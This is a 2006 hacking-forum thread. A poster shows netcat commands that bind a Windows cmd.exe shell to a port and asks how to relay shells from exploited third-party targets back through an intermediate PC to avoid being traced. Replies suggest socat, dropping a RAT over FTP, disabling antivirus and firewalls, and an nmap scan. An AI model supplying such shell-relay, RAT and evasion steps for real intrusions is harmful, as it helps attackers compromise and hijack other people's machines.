redirecting shells with netcat...

slipparse · Post by **slipparse** » 22 Oct 2006, 15:56

Im trying to send exploits thru a second pc with the well-known application called netcat. I'll give a brief intro before I describe my actual problem.

1. I open a shell on the second pc with this command [nc.exe -l -p 500 -d -e cmd.exe]
2. then I receive this shell on my main computer [nc.exe 192.168.1.152 500]
3. now I can execute commands remotely... so far no problem.

Now I would like to redirect the shells I receive on the second computer to the first one after Ive sent my exploit to a third party.

Situation:
(1) me ---> (2) second computer: sends exploit to --> (3) target: third party.

shell needs to go from (3) to (1) over a different port of my choice.

Can I do this with netcat by opening several sessions in the same time? If so, which commands do I need to use?

Other alternative methods that can help me are welcome also offcourse

slipparse · Post by **slipparse** » 23 Oct 2006, 01:43

ow yeah I forgot to mention Im on a windows platform

p99 · Post by **p99** » 23 Oct 2006, 02:03

Well i'm a bit confused as to what you mean...
But you could use telnet or ssh(putty ftw) to route the commands. Kind of set a system somewhat like Tor.

Post by **Gogeta70** » 23 Oct 2006, 16:32

I think he wants to basically use another computer as a proxy, so he can't be traced... And he's trying to make a computer become a proxy involuntarily...

doodle · Post by **doodle** » 30 Oct 2006, 13:43

try socat

njzillest · Post by **njzillest** » 03 Nov 2006, 12:54

if u have shell, use FTP to send over a RAT and youll have more controll.

Another solution is, Yous their telnet/ssh to tunnel through their computers. You might need the RAT to disable virus scanners/ firewalls that may be redirecting or blocking ports..

Report a portscan using nmap. nmap -sS -O ipadress